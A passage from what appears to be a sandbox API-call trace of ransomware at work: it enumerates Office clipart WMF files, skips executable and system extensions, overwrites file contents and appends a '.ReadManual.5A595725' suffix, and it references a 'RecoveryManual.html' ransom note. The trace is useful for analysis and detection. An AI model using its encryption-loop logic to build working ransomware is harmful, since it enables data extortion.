psz2="cmd") returned 1 [0266.837] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.837] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.837] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.837] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.837] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.837] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" [0266.837] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.ReadManual.5A595725" [0266.837] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.ReadManual.5A595725") returned 87 [0266.837] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38750568235) returned 1 [0266.837] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 0x20 [0266.837] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.837] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3140) returned 1 [0266.837] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc44, lpName=0x0) returned 0x184 [0266.838] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.838] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.838] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.840] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.840] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc44) returned 0x2f0000 [0266.840] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.840] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38750896631) returned 1 [0266.840] CloseHandle (hObject=0x184) returned 1 [0266.840] SetSecurityInfo () returned 0x57 [0266.840] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.840] CloseHandle (hObject=0x194) returned 1 [0266.841] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1 [0266.841] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107742.WMF" | out: lpString1="J0107742.WMF") returned="J0107742.WMF" [0266.841] lstrcmpiW (lpString1="J0107742.WMF", lpString2="RecoveryManual.html") returned -1 [0266.841] StrStrIW (lpFirst="J0107742.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.841] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.841] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.841] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" [0266.841] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.ReadManual.5A595725" [0266.841] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.ReadManual.5A595725") returned 87 [0266.841] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38750994104) returned 1 [0266.841] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 0x20 [0266.841] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.842] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3644) returned 1 [0266.842] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe3c, lpName=0x0) returned 0x184 [0266.842] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.842] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.842] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.844] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.844] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe3c) returned 0x2f0000 [0266.844] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.845] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38751332404) returned 1 [0266.845] CloseHandle (hObject=0x184) returned 1 [0266.845] SetSecurityInfo () returned 0x57 [0266.845] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.845] CloseHandle (hObject=0x194) returned 1 [0266.845] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1 [0266.845] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107744.WMF" | out: lpString1="J0107744.WMF") returned="J0107744.WMF" [0266.845] lstrcmpiW (lpString1="J0107744.WMF", lpString2="RecoveryManual.html") returned -1 [0266.845] StrStrIW (lpFirst="J0107744.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.845] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.845] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.845] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" [0266.845] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.ReadManual.5A595725" [0266.846] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.ReadManual.5A595725") returned 87 [0266.846] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38751431182) returned 1 [0266.846] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 0x20 [0266.846] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.847] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5004) returned 1 [0266.847] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138c, lpName=0x0) returned 0x184 [0266.847] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.847] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.847] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.849] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.849] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x138c) returned 0x2f0000 [0266.849] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.849] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38751817274) returned 1 [0266.849] CloseHandle (hObject=0x184) returned 1 [0266.849] SetSecurityInfo () returned 0x57 [0266.850] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.850] CloseHandle (hObject=0x194) returned 1 [0266.850] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1 [0266.850] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107746.WMF" | out: lpString1="J0107746.WMF") returned="J0107746.WMF" [0266.850] lstrcmpiW (lpString1="J0107746.WMF", lpString2="RecoveryManual.html") returned -1 [0266.850] StrStrIW (lpFirst="J0107746.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.850] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.850] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.850] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" [0266.850] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.ReadManual.5A595725" [0266.850] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.ReadManual.5A595725") returned 87 [0266.850] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38751914927) returned 1 [0266.850] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 0x20 [0266.851] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.851] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4788) returned 1 [0266.851] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12b4, lpName=0x0) returned 0x184 [0266.851] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.852] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.852] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.853] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.853] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12b4) returned 0x2f0000 [0266.854] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.854] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38752240548) returned 1 [0266.854] CloseHandle (hObject=0x184) returned 1 [0266.854] SetSecurityInfo () returned 0x57 [0266.854] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.854] CloseHandle (hObject=0x194) returned 1 [0266.854] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1 [0266.854] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107748.WMF" | out: lpString1="J0107748.WMF") returned="J0107748.WMF" [0266.854] lstrcmpiW (lpString1="J0107748.WMF", lpString2="RecoveryManual.html") returned -1 [0266.854] StrStrIW (lpFirst="J0107748.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.854] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.854] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.854] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" [0266.855] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.ReadManual.5A595725" [0266.855] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.ReadManual.5A595725") returned 87 [0266.855] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38752337747) returned 1 [0266.855] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 0x20 [0266.855] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.855] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8224) returned 1 [0266.855] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2020, lpName=0x0) returned 0x184 [0266.855] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.856] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.856] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.858] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.858] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2020) returned 0x2f0000 [0266.858] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.858] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38752679598) returned 1 [0266.858] CloseHandle (hObject=0x184) returned 1 [0266.858] SetSecurityInfo () returned 0x57 [0266.858] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.858] CloseHandle (hObject=0x194) returned 1 [0266.858] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1 [0266.858] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107750.WMF" | out: lpString1="J0107750.WMF") returned="J0107750.WMF" [0266.858] lstrcmpiW (lpString1="J0107750.WMF", lpString2="RecoveryManual.html") returned -1 [0266.858] StrStrIW (lpFirst="J0107750.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.859] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.859] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.859] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" [0266.859] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.ReadManual.5A595725" [0266.859] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.ReadManual.5A595725") returned 87 [0266.859] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38752778768) returned 1 [0266.859] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 0x20 [0266.859] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), 